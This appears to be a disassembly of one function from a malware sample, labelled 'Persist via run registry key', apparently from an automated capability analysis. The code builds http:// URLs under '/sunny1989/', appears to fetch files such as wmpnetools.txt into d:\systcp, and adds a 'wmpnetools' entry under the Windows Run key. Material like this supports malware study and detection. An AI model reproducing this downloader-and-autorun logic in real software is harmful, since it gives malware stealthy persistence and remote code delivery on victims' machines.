Function at 0x40191d
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
push 0x10
call fcn.004064e6
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x4b0bea
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 8
call fcn.004064e6
add esp, 4
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, 0x4aeef6
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.d:_systcp
push 1
mov ebx, 0x407330
call fcn.004064fe
add esp, 0x10
push 0x80000301
push 0
push 2
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.d:_systcp
push 2
mov ebx, 0x407370
call fcn.004064fe
add esp, 0x1c
mov dword [ebp - 4], 2
push str._sunny1989_
push dword [0x54a290]
push str.http:__
mov ecx, 3
call fcn.004011e2
add esp, 0xc
mov dword [ebp - 0x14], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4019f0
mov eax, 0x4aef06
push eax
push 1
mov ebx, 0x406f00
call fcn.004064fe
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401a16
push ebx
call fcn.004064ec
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401a29
mov eax, 0x4aeef6
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.d:_systcpwangzhi1.txt
push 2
mov ebx, 0x407390
call fcn.004064fe
add esp, 0x1c
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401a58
push ebx
call fcn.004064ec
add esp, 4
push str._sunny1989_wmpnetools.txt
push dword [0x54a290]
push str.http:__
mov ecx, 3
call fcn.004011e2
add esp, 0xc
mov dword [ebp - 0x14], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x401a8b
mov eax, 0x4aef06
push eax
push 1
mov eax, 3
mov ebx, 0x465700
call fcn.00406504
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401ab6
push ebx
call fcn.004064ec
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401ac9
mov eax, 0x4aeef6
push eax
push 1
mov ebx, 0x407220
call fcn.004064fe
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401aef
push ebx
call fcn.004064ec
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4b0b7b
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401b14
mov eax, 0x4aef06
push eax
push 3
mov ebx, 0x406d70
call fcn.004064fe
add esp, 0x28
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401b3a
push ebx
call fcn.004064ec
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401b5c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x401b58
imul eax, dword [ebx]
jmp 0x401b4d
mov ecx, eax
test ecx, ecx
je 0x401b7b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x401b74
push ebx
push eax
call fcn.004064ec
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401b62
call fcn.004064ec
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
call fcn.004018e4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x401c1c
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 0
cmp eax, ecx
jl 0x401bba
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.wmpnetoo
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x401bf5
mov eax, 0x4aef06
push eax
push 4
mov ebx, 0x406c10
call fcn.004064fe
add esp, 0x34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x401c1c
mov eax, 1
jmp 0x401c1e
xor eax, eax
test eax, eax
je 0x402075
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 0
cmp eax, ecx
jl 0x401c44
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push str.d:_systcp_
mov ecx, 2
call fcn.004011e2
add esp, 8
mov dword [ebp - 0x18], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401c79
mov eax, 0x4aef06
push eax
push 1
mov ebx, 0x407350
call fcn.004064fe
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401c9f
push ebx
call fcn.004064ec
add esp, 4
cmp dword [ebp - 0x1c], 0
jne 0x401d9e
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 0
cmp eax, ecx
jl 0x401cc7
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push str.d:_systcp_
mov ecx, 2
call fcn.004011e2
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 1
cmp eax, ecx
jl 0x401d07
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x1c], ebx
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
test eax, eax
jne 0x401d24
mov eax, 0x4aef06
push eax
push 1
mov eax, 3
mov ebx, 0x465700
call fcn.00406504
add esp, 0x10
mov dword [ebp - 0x20], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x401d52
mov eax, 0x4aeef6
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401d66
mov eax, 0x4aef06
push eax
push 2
mov ebx, 0x407390
call fcn.004064fe
add esp, 0x1c
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401d89
push ebx
call fcn.004064ec
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x401d99
push ebx
call fcn.004064ec
add esp, 4
jmp 0x401d9e
push 0
mov eax, 4
mov ebx, 0x468210
call fcn.00406504
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0xc]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401dda
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x401dd6
imul eax, dword [ebx]
jmp 0x401dcb
mov ecx, eax
test ecx, ecx
je 0x401e09
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x401df8
push ebx
call fcn.004064ec
add esp, 4
pop ebx
call fcn.004064ec
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401de0
call fcn.004064ec
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0xc]
call fcn.004018e4
xor ecx, ecx
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x401ec7
mov ebx, dword [ebp - 0xc]
call fcn.004018fd
push ebx
push ecx
mov eax, dword [ebp - 0x10]
dec eax
jns 0x401e51
push 4
call fcn.004064f2
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x401e64
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 0
cmp eax, ecx
jl 0x401e8f
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebx]
push eax
mov ebx, dword [ebp - 0x14]
push dword [ebx]
call fcn.0040123e
add esp, 8
cmp eax, 0
jne 0x401ebf
mov dword [ebp - 4], 0xa
jmp 0x401ec7
pop eax
pop ebx
pop ecx
jmp 0x401e26
add esp, 0xc
push 0x80000301
push 0
push 0x12c
push 1
mov ebx, 0x4079c0
call fcn.004064fe
add esp, 0x10
cmp dword [ebp - 4], 0xa
je 0x401f7a
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 0
cmp eax, ecx
jl 0x401f10
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push str.d:_systcp_
mov ecx, 2
call fcn.004011e2
add esp, 8
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401f57
mov eax, 0x4aef06
push eax
push 3
mov ebx, 0x406850
call fcn.004064fe
add esp, 0x28
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401f7a
push ebx
call fcn.004064ec
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.softwaremicrosoftwindowsCurrentVersionRunwmpnetools
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x407770
call fcn.004064fe
add esp, 0x1c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x402075
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4b0bca
push 0x80000301
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4b0bd3
push 3
mov ebx, 0x407810
call fcn.004064fe
add esp, 0x28
mov ebx, dword [ebp - 8]
call fcn.004018fd
mov eax, 0
cmp eax, ecx
jl 0x402005
push 1
call fcn.004064f2
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push str.d:_systcp_
mov ecx, 2
call fcn.004011e2
add esp, 8
mov dword [ebp - 0x18], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40203a
mov eax, 0x4aef06
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.softwaremicrosoftwindowsCurrentVersionRunwmpnetools
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x407750
call fcn.004064fe
add esp, 0x28
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402075
push ebx
call fcn.004064ec
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402093
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40208f
imul eax, dword [ebx]
jmp 0x402084
mov ecx, eax
test ecx, ecx
je 0x4020b2
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4020ab
push ebx
push eax
call fcn.004064ec
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402099
call fcn.004064ec
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4020d8
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4020d4
imul eax, dword [ebx]
jmp 0x4020c9
mov ecx, eax
test ecx, ecx
je 0x402107
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4020f6
push ebx
call fcn.004064ec
add esp, 4
pop ebx
call fcn.004064ec
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4020de
call fcn.004064ec
add esp, 4
mov esp, ebp
pop ebp
ret